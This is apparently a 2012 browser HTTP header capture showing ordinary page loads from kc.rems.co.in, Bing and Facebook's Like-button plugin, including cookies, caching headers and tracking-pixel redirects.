Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:16:19 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:43 GMT
Etag: &quot;4780057-d1-4b0ab13af62c0&quot;
Accept-Ranges: bytes
Content-Length: 209
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /images/web_74.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:16:19 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:44 GMT
Etag: &quot;4780056-d3-4b0ab13bea500&quot;
Accept-Ranges: bytes
Content-Length: 211
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /images/web_72.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:16:19 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:44 GMT
Etag: &quot;478005d-60-4b0ab13bea500&quot;
Accept-Ranges: bytes
Content-Length: 96
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /fd/sa/8_10_0_1586855/AutoSug.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip
Last-Modified: Mon, 04 Oct 2010 15:48:25 GMT
Content-Length: 8101
Vary: Accept-Encoding
Cache-Control: public, max-age=15443216
Date: Thu, 08 Nov 2012 03:16:19 GMT
Connection: keep-alive
GET /az/hprichbg?p=rb%2fCompButterflyFish_ROW11013069483_1366x768.jpg HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Mon, 08 Oct 2012 22:35:00 GMT
Content-Length: 164465
X-N: S
Cache-Control: public, max-age=449058
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /sa/8_01_0_1590430/homepageImgViewer_c.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Last-Modified: Wed, 03 Nov 2010 12:04:08 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3907
Cache-Control: public, max-age=15538264
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /fd/ls/l?IG=e1ce56d58006481b974acf9edb755440&CID=3218EB902A59673F08F3EF822B5E670E&PM=Y&Type=Event.CPT&DATA={%22pp%22:{%22S%22:%22L%22,%22PC%22:5,%22FC%22:-1,%22BC%22:5,%22BS%22:8,%22H%22:23,%22FE%22:-1,%22LE%22:-1,%22C1%22:-1,%22C2%22:-1,%22BP%22:127,%22KP%22:-1,%22CT%22:134,%22IL%22:0}}&P=SERP&DA=Db3 HTTP/1.1

Host: www.bing.com
GET /fd/ls/l?IG=e1ce56d58006481b974acf9edb755440&amp;CID=3218EB902A59673F08F3EF822B5E670E&amp;PM=Y&amp;Type=Event.CPT&amp;DATA={%22pp%22:{%22S%22:%22L%22,%22PC%22:5,%22FC%22:-1,%22BC%22:5,%22BS%22:8,%22H%22:23,%22FE%22:-1,%22LE%22:-1,%22C1%22:-1,%22C2%22:-1,%22BP%22:127,%22KP%22:-1,%22CT%22:134,%22IL%22:0}}&amp;P=SERP&amp;DA=Db3 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: image/gif

Cache-Control: no-cache
Pragma: no-cache
Expires: Sun, 12 Oct 2003 00:00:00 GMT
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Content-Length: 42
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
Set-Cookie: _FS=NU=1; domain=.bing.com; path=/
SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:16:20 GMT; domain=.bing.com; path=/
GET /qsonhs.aspx?FORM=ASAPIH&q= HTTP/1.1

Host: db3.api.bing.com
GET /qsonhs.aspx?FORM=ASAPIH&amp;q= HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

X-Content-Type-Options: nosniff
Date: Thu, 08 Nov 2012 03:16:19 GMT
Content-Length: 35
GET /az/hprichbg?p=rb%2fLichtensteinCastle_ROW8041699813_1366x768.jpg HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Mon, 08 Oct 2012 22:36:11 GMT
Content-Length: 222799
X-N: S
Cache-Control: public, max-age=535464
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /HPImageArchive.aspx?format=js&idx=0&n=1&nc=1352344580076 HTTP/1.1

Host: www.bing.com
GET /HPImageArchive.aspx?format=js&amp;idx=0&amp;n=1&amp;nc=1352344580076 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

Cache-Control: private
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Content-Length: 560
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
Set-Cookie: _FS=NU=1; domain=.bing.com; path=/
SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:16:20 GMT; domain=.bing.com; path=/
GET /connect/xd_arbiter.php?version=15 HTTP/1.1

Host: s-static.ak.facebook.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip
X-FB-Debug: oioCKbZB+sKH+/SQvooXq9I8WT+i6vY96i3ZEpudlAk=
Content-Length: 9723
Vary: Accept-Encoding
Cache-Control: public, max-age=31347002
Expires: Tue, 05 Nov 2013 22:46:22 GMT
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /plugins/like.php?api_key=&locale=en_US&sdk=joey&channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Dfe53226deec964%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ffabc34c04fee7%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&node_type=link&width=174&font=verdana&layout=button_count&colorscheme=light&show_faces=false&send=true&extended_social_context=false HTTP/1.1

Host: www.facebook.com
GET /plugins/like.php?api_key=&amp;locale=en_US&amp;sdk=joey&amp;channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Dfe53226deec964%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ffabc34c04fee7%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&amp;href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&amp;node_type=link&amp;width=174&amp;font=verdana&amp;layout=button_count&amp;colorscheme=light&amp;show_faces=false&amp;send=true&amp;extended_social_context=false HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
X-FB-Debug: 3UXYoSeG66O/5uw1jiPB8nLu4GiSFb8llk87jZWH2ak=
Date: Thu, 08 Nov 2012 03:16:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
GET /rsrc.php/v2/yD/x/Q8FTZ0iJJF2.png HTTP/1.1

Host: static.ak.fbcdn.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?api_key=&amp;locale=en_US&amp;sdk=joey&amp;channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Dfe53226deec964%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ffabc34c04fee7%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&amp;href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&amp;node_type=link&amp;width=174&amp;font=verdana&amp;layout=button_count&amp;colorscheme=light&amp;show_faces=false&amp;send=true&amp;extended_social_context=false
 
HTTP/1.1 200 OK

Content-Type: image/png

Access-Control-Allow-Origin: *
Last-Modified: Fri, 29 Jun 2012 21:48:06 GMT
X-Content-Type-Options: nosniff
X-FB-Debug: V2vYP5oZ8ftMm8TcnB9yv/rQrr/eubUM9cBAo6ffuRc=
Content-Length: 668
Cache-Control: public, max-age=25246597
Expires: Tue, 27 Aug 2013 08:12:57 GMT
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /rsrc.php/v2/yW/r/4SdXcaE0lBj.js HTTP/1.1

Host: static.ak.fbcdn.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?api_key=&amp;locale=en_US&amp;sdk=joey&amp;channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Dfe53226deec964%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ffabc34c04fee7%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&amp;href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&amp;node_type=link&amp;width=174&amp;font=verdana&amp;layout=button_count&amp;colorscheme=light&amp;show_faces=false&amp;send=true&amp;extended_social_context=false
Origin: http://www.facebook.com
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript; charset=utf-8

Access-Control-Allow-Origin: *
Last-Modified: Mon, 29 Oct 2012 23:55:41 GMT
X-Content-Type-Options: nosniff
Content-Encoding: gzip
X-FB-Debug: mERPLeHfP4bFbWVj/NJRwm2C8x1Lf8geAnYAfFf24WM=
Content-Length: 37945
Vary: Accept-Encoding
Cache-Control: public, max-age=31402603
Expires: Wed, 06 Nov 2013 14:13:03 GMT
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /fd/sa/1020103738/Shared.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483813; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 1468
Content-Encoding: gzip
Last-Modified: Wed, 20 Oct 2010 10:37:38 GMT
Vary: Accept-Encoding
Cache-Control: public, max-age=11246788
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /fd/sa/0823125817/PostContent.js HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483813; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=C
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip
Last-Modified: Mon, 23 Aug 2010 12:58:17 GMT
Content-Length: 918
Vary: Accept-Encoding
Cache-Control: public, max-age=13724553
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
GET /fd/sa/0916193114/FdNetIdentityHeader_c.css HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483813; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=G
 
HTTP/1.1 200 OK

Content-Type: text/css

Last-Modified: Thu, 16 Sep 2010 19:31:14 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 354
Cache-Control: public, max-age=13643197
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
X-N: S
GET /fd/sa/0918083739/FdNetIdentityHeader_hp.css HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483813; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=GAAAAAAAAAB
 
HTTP/1.1 200 OK

Content-Type: text/css

Last-Modified: Sat, 18 Sep 2010 08:37:39 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 252
Cache-Control: public, max-age=7060885
Date: Thu, 08 Nov 2012 03:16:20 GMT
Connection: keep-alive
X-N: S
GET /c.gif?DI=15074 HTTP/1.1

Host: c.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483813; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#
 
HTTP/1.1 302 Redirect

HTTP/1.1 302 Redirect

Cache-Control: private, no-cache, proxy-revalidate, no-store
Pragma: no-cache
Location: http://c.atdmt.com/c.gif?DI=15074&amp;RedC=c.bing.com&amp;MXFR=3218EB902A59673F08F3EF822B5E670E
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=&quot;BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo&quot;
Set-Cookie: MUID=3218EB902A59673F08F3EF822B5E670E&amp;TUID=1; domain=.bing.com; expires=Sat, 08-Nov-2014 03:16:20 GMT; path=/;
Date: Thu, 08 Nov 2012 03:16:20 GMT
Content-Length: 0
GET /c.gif?DI=15074&RedC=c.bing.com&MXFR=3218EB902A59673F08F3EF822B5E670E HTTP/1.1

Host: c.atdmt.com
GET /c.gif?DI=15074&amp;RedC=c.bing.com&amp;MXFR=3218EB902A59673F08F3EF822B5E670E HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: AA002=1350344862-22301988; MUID=28A467A70F8D6B9C1F16645D0C8D6BFA
 
HTTP/1.1 302 Redirect

HTTP/1.1 302 Redirect

Cache-Control: private, no-cache, proxy-revalidate, no-store
Pragma: no-cache
Location: http://c.bing.com/c.gif?DI=15074&amp;MUID=28A467A70F8D6B9C1F16645D0C8D6BFA&amp;cb=1cdbd5f6d247120
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=&quot;BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo&quot;
Set-Cookie: MUID=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=.atdmt.com; expires=Sat, 08-Nov-2014 03:16:21 GMT; path=/;
SRM_A=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=c.atdmt.com; expires=Sat, 08-Nov-2014 03:16:21 GMT; path=/;
SRM_B=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=c.atdmt.com; expires=Sat, 08-Nov-2014 03:16:21 GMT; path=/;
Date: Thu, 08 Nov 2012 03:16:20 GMT
Content-Length: 0
GET /c.gif?DI=15074&MUID=28A467A70F8D6B9C1F16645D0C8D6BFA&cb=1cdbd5f6d247120 HTTP/1.1

Host: c.bing.com
GET /c.gif?DI=15074&amp;MUID=28A467A70F8D6B9C1F16645D0C8D6BFA&amp;cb=1cdbd5f6d247120 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483813; MUID=3218EB902A59673F08F3EF822B5E670E&amp;TUID=1; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=GAAAAAAAAABB
 
HTTP/1.1 200 OK

Content-Type: image/gif

Cache-Control: private, no-cache, proxy-revalidate, no-store
Pragma: no-cache
Last-Modified: Thu, 20 Oct 2011 10:27:58 GMT
Accept-Ranges: bytes
Etag: &quot;04baaef128fcc1:0&quot;
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=&quot;BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo&quot;
